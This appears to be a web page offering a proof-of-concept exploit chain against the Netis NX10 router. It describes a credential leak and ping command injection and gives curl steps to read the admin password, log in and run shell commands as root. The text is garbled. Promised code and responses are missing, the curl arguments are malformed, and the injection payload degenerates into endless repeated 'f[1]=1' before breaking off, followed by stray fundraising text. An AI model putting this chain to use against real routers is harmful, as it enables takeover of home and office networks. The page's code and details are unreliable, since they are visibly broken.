Netis NX10 Pre-Auth Command Injection & Credential Leak PoC (CVE-2026-6916/6917)

Netis NX10 Router Vulnerability Summary Vulnerability Overview CVE-2026-6916: Unauthenticated administrator credential leakage (the ping diagnostic endpoint returns the password in plaintext) CVE-2026-6917: Unauthenticated ping diagnostic command injection (an injection point exists in the call within ) The combination of these two vulnerabilities allows for a complete exploitation chain from unauthenticated access → administrator session → root. Scope of Impact Affected Firmware: Official V4.0.1.5508 and test version V3.0.0.4142 (present in both branches) Impact: An attacker with LAN access to the management interface can obtain full administrative control, modify DNS/routing, establish persistence, and use the device as a jump host. If remote management is enabled (WAN side), the attack surface is further expanded. Key Code / POC 1. Command Injection Point (ping diagnostic handler) The input filter blocks only 4 characters: 2. Credential Leakage Endpoint Response body: 3. Complete Exploitation Chain (POC Script) ```bash 1. Read the unauthenticated leaked administrator credentials curl -s "http://ROUTER/web/cgi-bin/skk_set.cgi" \ 2. Exchange the credentials for an administrator session curl -s -X POST \ "http://ROUTER/web/cgi-bin/login.cgi" \ --data-urlencode "password=skk_get.cgi?sysinfo" \ --data-urlencode "password=skk_get.cgi?sysinfo" \ -o /dev/null 3. Execute arbitrary shell commands via ping command injection curl -s -X POST \ "http://ROUTER/web/cgi-bin/skk_set.cgi" \ --data-urlencode "t=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[1]=1&f[

Goal Reached Thanks to every supporter — we hit 100%!

Netis NX10 Pre-Auth Command Injection & Credential Leak PoC (CVE-2026-6916/6917)

More from this source